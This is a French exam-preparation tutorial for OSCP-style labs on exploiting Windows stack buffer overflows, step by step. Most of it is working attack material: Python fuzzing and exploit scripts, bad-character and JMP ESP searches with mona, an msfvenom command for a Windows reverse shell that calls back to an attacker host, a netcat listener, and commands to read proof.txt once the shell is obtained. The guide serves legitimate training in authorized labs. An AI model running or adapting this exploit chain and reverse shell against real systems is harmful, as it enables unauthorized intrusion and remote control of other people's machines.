Avertissement légal : ce tutoriel s’applique exclusivement à des environnements de test autorisés — labs OffSec PEN-200 (machines OVERFLOW1 à OVERFLOW10), CTF, machines personnelles. Toute exploitation sur un système tiers sans autorisation écrite est illégale.
Le buffer overflow Windows est un sujet dédié dans le PEN-200. La bonne nouvelle : la méthode est entièrement reproductible en 9 étapes. Une fois la procédure assimilée sur une machine, vous pouvez exploiter n’importe quelle des 10 machines OVERFLOW en 20 à 30 minutes.
Environnement de lab
Outils nécessaires
| Outil | Rôle | Où l’obtenir |
|---|---|---|
| Immunity Debugger | Debugger Windows avec interface Python | immunityinc.com/products/debugger (gratuit) |
| mona.py | Plugin Immunity pour analyse BOF automatisée | github.com/corelan/mona |
| Python 3 (Kali) | Scripts de fuzzing et d’exploit | Inclus dans Kali Linux |
| msfvenom (Kali) | Génération du shellcode | Inclus dans Metasploit Framework |
| App vulnérable | brainpan.exe, oscp.exe, vulnserver.exe | Labs PEN-200 ou TryHackMe BOF Prep |
Configuration initiale de mona.py
# Dans Immunity Debugger — barre de commande en bas (!)
!mona config -set workingfolder C:\mona\%p
# Explication : %p = nom du processus débuggé
# Tous les fichiers mona seront créés dans C:\mona\NomDuProcessus\
Attacher le processus cible dans Immunity
1. Lancer l'application vulnérable (ex: oscp.exe)
2. Immunity Debugger → File → Attach → sélectionner oscp.exe
3. Appuyer sur F9 (Run) — le processus doit être en état "Running"
4. En bas à droite d'Immunity : "Running" en vert = prêt
Étape 1 — Fuzzing pour trouver l’offset approximatif
L’objectif est de déterminer à partir de combien d’octets le programme crashe (EIP est écrasé).
Script de fuzzing Python
#!/usr/bin/env python3
# fuzzer.py
import socket
import time
import sys
HOST = "10.10.10.x" # IP de la machine cible
PORT = 1337 # Port du service vulnérable
TIMEOUT = 5
prefix = "OVERFLOW1 " # Commande spécifique au service (si applicable)
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(TIMEOUT)
s.connect((HOST, PORT))
s.recv(1024) # Banner
print(f"[*] Envoi de {len(string) - len(prefix)} octets...")
s.send(bytes(string, "latin-1"))
s.recv(1024)
except Exception:
print(f"[!] Crash à ~{len(string) - len(prefix)} octets")
sys.exit(0)
string += "A" * 100
time.sleep(0.5)
# Exécuter sur Kali
python3 fuzzer.py
# [*] Envoi de 100 octets...
# [*] Envoi de 200 octets...
# ...
# [!] Crash à ~2000 octets
Dans Immunity, vous devriez voir le statut passer à « Access violation » et EIP contenir 41414141 (AAAA).
Étape 2 — Pattern cyclique pour l’offset exact
Envoyer un pattern unique permet à mona de calculer l’offset exact auquel EIP est écrasé.
Générer le pattern (mona ou msf-pattern_create)
# Sur Kali — générer un pattern de 2400 octets (crash à ~2000 + marge)
msf-pattern_create -l 2400
# Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2...
# Alternative dans Immunity Debugger
!mona pc 2400
Script d’envoi du pattern
#!/usr/bin/env python3
# pattern_send.py
import socket
HOST = "10.10.10.x"
PORT = 1337
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
# Coller le pattern généré ici
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1..."
buffer = prefix + overflow + retn + padding + payload
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.recv(1024)
print(f"[*] Envoi du pattern ({len(payload)} octets)...")
s.send(bytes(buffer, "latin-1"))
s.recv(1024)
print("[+] Envoyé.")
Trouver l’offset exact
# Après le crash dans Immunity :
# Méthode 1 — mona (recommandé)
!mona findmsp -distance 2400
# [+] Examining registers
# EIP contains normal pattern : 0x6f43376f (offset 1978) ← OFFSET EXACT
# Méthode 2 — msf-pattern_offset sur Kali (lire la valeur EIP dans Immunity)
# EIP affiche : 6f43376f
msf-pattern_offset -l 2400 -q 6f43376f
# [*] Exact match at offset 1978
Étape 3 — Contrôle du registre EIP
Vérifiez que votre offset est correct : EIP doit afficher exactement 42424242 (BBBB).
#!/usr/bin/env python3
# eip_control.py
import socket
HOST = "10.10.10.x"
PORT = 1337
PREFIX = "OVERFLOW1 "
OFFSET = 1978 # Offset trouvé à l'étape 2
OVERFLOW = "A" * OFFSET
RETN = "BBBB" # 4 octets → doit remplir EIP exactement
PADDING = ""
PAYLOAD = "C" * 16 # Début du buffer après EIP (vérifier ESP)
buffer = PREFIX + OVERFLOW + RETN + PADDING + PAYLOAD
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.recv(1024)
s.send(bytes(buffer, "latin-1"))
print("[+] Envoyé.")
# Résultat attendu dans Immunity après le crash :
# EIP = 42424242 ✓ (BBBB = contrôle confirmé)
# ESP pointe vers les CCCC (votre futur shellcode)
# Vérifier que ESP pointe bien vers les C
# Dans le panneau des registres : ESP = 0x019...
# Click droit sur ESP → "Follow in Dump" → voir les CCCC dans la mémoire
Étape 4 — Identification des bad characters
Les bad characters sont des octets qui corrompent le shellcode (null byte \x00, retour chariot \x0d, saut de ligne \x0a, etc.). Il faut les identifier et les exclure de msfvenom.
Générer la chaîne de test complète
#!/usr/bin/env python3
# badchars_test.py
import socket
HOST = "10.10.10.x"
PORT = 1337
PREFIX = "OVERFLOW1 "
OFFSET = 1978
# Tous les octets de 0x01 à 0xFF (0x00 toujours exclu)
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = (PREFIX + "A" * OFFSET + "BBBB").encode("latin-1") + badchars
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.recv(1024)
s.send(buffer)
print("[+] Envoyé.")
Analyser avec mona
# Dans Immunity après le crash, noter l'adresse ESP (ex: 0x019cfa30)
# Puis :
!mona bytearray -b "\x00"
!mona compare -f C:\mona\oscp\bytearray.bin -a 0x019cfa30
# mona affiche les octets qui diffèrent du bytearray de référence
# Exemple de sortie :
# [+] Comparing with memory at location : 0x019cfa30
# Only 1 mismatch found.
# 0xa0 : 0xa0 (\xa0) differs...
# IMPORTANT : mona peut indiquer des "faux positifs" sur les octets SUIVANT un bad char
# → Toujours re-tester après avoir exclu chaque bad char trouvé
Processus itératif
- Identifier le premier bad char signalé par mona (ex:
\x0a) - Le retirer de la chaîne badchars
- Régénérer le bytearray :
!mona bytearray -b "\x00\x0a" - Re-lancer le script et re-comparer
- Répéter jusqu’à « Unmodified » dans la sortie mona
Étape 5 — Trouver une adresse JMP ESP
Vous devez trouver une instruction JMP ESP dans un module chargé sans ASLR, sans DEP, sans Rebase. Cette adresse sera placée dans EIP pour rediriger l’exécution vers votre shellcode sur la pile.
Recherche avec mona
# Chercher JMP ESP (opcode \xff\xe4) dans tous les modules
# Exclure les bad chars identifiés à l'étape 4 (ex: \x00\x0a\x0d)
!mona jmp -r esp -cpb "\x00\x0a\x0d"
# Résultat dans C:\mona\oscp\jmp.txt :
# 0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll]
# REBASE: False, SAFESH: False, ASLR: False, NX: False
Vérifier l’adresse trouvée
# Dans Immunity — aller à l'adresse
Ctrl+G → entrer l'adresse : 625011af
# Vérifier que l'instruction affichée est bien : JMP ESP
# Placer un breakpoint pour confirmer (F2 sur la ligne)
# Relancer l'exploit → le breakpoint doit être atteint
Sélectionner la bonne adresse
# Critères de sélection :
# ✓ REBASE = False (adresse stable au reboot)
# ✓ ASLR = False (adresse non randomisée)
# ✓ SafeSEH = False (pas de protection SEH)
# ✓ NXCompat = False (pas de DEP)
# ✓ L'adresse ne contient aucun bad char
# Exemple : 0x625011af
# \xaf\x11\x50\x62 (little-endian pour Python)
Étape 6 — Générer le shellcode
# Reverse shell Windows x86 avec exclusion des bad chars
msfvenom -p windows/shell_reverse_tcp \
LHOST=10.10.14.x \
LPORT=4444 \
EXITFUNC=thread \
-b "\x00\x0a\x0d" \
-f python \
--var-name payload
# Explication des options :
# -p windows/shell_reverse_tcp : payload reverse shell TCP (x86, pas x64)
# EXITFUNC=thread : ferme proprement le thread sans crasher le processus
# -b : bad characters à exclure (liste trouvée à l'étape 4)
# -f python : format de sortie Python
# --var-name payload : nom de la variable dans le code généré
Sortie typique :
payload = b""
payload += b"\xba\x7e\xce\x17\x0f\xd9\xec\xd9\x74\x24\xf4"
payload += b"\x58\x31\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"
# ... (environ 350-400 octets)
Étape 7 — Exploit final
#!/usr/bin/env python3
# exploit.py — Template final OSCP BOF
import socket
HOST = "10.10.10.x"
PORT = 1337
PREFIX = "OVERFLOW1 "
# ─── Paramètres trouvés aux étapes précédentes ───────────────────────────────
OFFSET = 1978 # Étape 2 — offset exact
RETN = b"\xaf\x11\x50\x62" # Étape 5 — adresse JMP ESP en little-endian
PADDING = b"\x90" * 16 # NOP sled — 16 octets minimum
# ─── Shellcode généré à l'étape 6 ────────────────────────────────────────────
payload = b""
payload += b"\xba\x7e\xce\x17\x0f\xd9\xec\xd9\x74\x24\xf4"
payload += b"\x58\x31\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"
# ... (coller le shellcode complet ici)
# ─── Construction du buffer ──────────────────────────────────────────────────
buffer = PREFIX.encode("latin-1")
buffer += b"A" * OFFSET # Remplissage jusqu'à EIP
buffer += RETN # Adresse JMP ESP → redirige vers ESP
buffer += PADDING # NOP sled → espace de tolérance
buffer += payload # Shellcode reverse shell
# ─── Envoi ───────────────────────────────────────────────────────────────────
print(f"[*] Envoi de {len(buffer)} octets vers {HOST}:{PORT}")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.recv(1024)
s.send(buffer)
print("[+] Buffer envoyé. Vérifier le listener nc...")
# ─── Listener Kali ───────────────────────────────────────────────────────────
# nc -lvnp 4444
Exécution
# Sur Kali — ouvrir le listener AVANT de lancer l'exploit
nc -lvnp 4444
# Dans un second terminal
python3 exploit.py
# Résultat attendu sur le listener :
# listening on [any] 4444 ...
# connect to [10.10.14.x] from 10.10.10.x
# Microsoft Windows [Version ...]
# C:\> whoami
# oscp\bob
Étape 8 — Ajuster le NOP sled si l’exploit ne fonctionne pas
Si le shellcode s’exécute partiellement ou pas du tout, le NOP sled est souvent insuffisant ou l’encodeur a généré un shellcode trop long.
Augmenter le NOP sled
# Augmenter progressivement
PADDING = b"\x90" * 32 # 32 NOPs
PADDING = b"\x90" * 64 # si toujours échec
# Vérifier que la taille totale reste dans l'espace disponible sur la pile
# OFFSET + 4 (RETN) + NOP + shellcode ≤ buffer réel du programme
Changer l’encodeur msfvenom
# Essayer shikata_ga_nai (défaut) si les autres échouent
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.x LPORT=4444 \
EXITFUNC=thread -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -i 1 \
-f python --var-name payload
# Essayer x86/jmp_call_additive si shikata_ga_nai est filtré
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.x LPORT=4444 \
EXITFUNC=thread -b "\x00\x0a\x0d" -e x86/jmp_call_additive \
-f python --var-name payload
Vérifier avec un breakpoint sur JMP ESP
# Dans Immunity, placer F2 sur l'adresse JMP ESP
# Relancer → si le breakpoint est atteint mais le shell n'arrive pas,
# le problème est dans le shellcode (bad char manquant, encodeur)
# Depuis le breakpoint, appuyer F8 (Step Over) pour suivre l'exécution
# dans le NOP sled, puis dans le shellcode
Checklist exam — BOF en 30 minutes
| # | Étape | Durée estimée | Résultat attendu |
|---|---|---|---|
| 1 | Attacher Immunity + configurer mona | 2 min | Processus en « Running » |
| 2 | Fuzzer → crash approximatif | 3 min | Crash à ~N octets |
| 3 | Pattern cyclique → offset exact | 3 min | EIP = offset précis |
| 4 | Contrôle EIP (BBBB) | 1 min | EIP = 42424242 |
| 5 | Bad chars (itératif) | 5-10 min | Liste finale bad chars |
| 6 | JMP ESP avec mona | 2 min | Adresse stable, sans bad chars |
| 7 | Shellcode msfvenom | 1 min | payload variable Python |
| 8 | Exploit final + listener | 2 min | Shell sur nc -lvnp 4444 |
| 9 | Capture proof.txt | 30 sec | Screenshot id + proof |
Récupérer proof.txt après shell
# Dans le shell obtenu sur nc
whoami
hostname
type C:\Users\Administrator\Desktop\proof.txt
ipconfig
Erreurs fréquentes en exam
| Symptôme | Cause probable | Fix |
|---|---|---|
| EIP ≠ BBBB après contrôle | Offset incorrect | Re-vérifier msf-pattern_offset avec la valeur EIP exacte |
| JMP ESP introuvable | Mauvais module ou bad chars dans l’adresse | !mona modules — vérifier les colonnes REBASE/ASLR/SafeSEH |
| Breakpoint atteint mais pas de shell | Bad char manquant dans la liste | Re-tester le bytearray après ajout du bad char suspect |
| Shell instable / crash immédiat | EXITFUNC incorrect | Changer en EXITFUNC=thread ou EXITFUNC=seh |
| Connexion nc mais pas de prompt | Payload x64 sur processus x86 | Utiliser windows/shell_reverse_tcp (x86), pas x64 |
Ressources et références
- mona.py (corelan) — documentation officielle et commandes complètes
- Corelan — Stack Based Overflows (Part 1) — référence académique de la méthode
- TryHackMe — Buffer Overflow Prep — 10 exercices OVERFLOW1-10 identiques au PEN-200
- OffSec PEN-200 — cours officiel OSCP avec module BOF dédié
- dostackbufferoverflowgood — application vulnérable pédagogique avec writeup détaillé
Prochaines étapes
- Pour l’exploitation web (SQLi, LFI, RCE) qui peut précéder un BOF dans une chaîne d’exploitation : Exploitation web : SQLi, LFI et RCE.
- Pour l’escalade de privilèges après avoir obtenu un shell via BOF : Escalade de privilèges Windows.
- Une fois toutes les machines compromises, passez à Rédiger le rapport OSCP.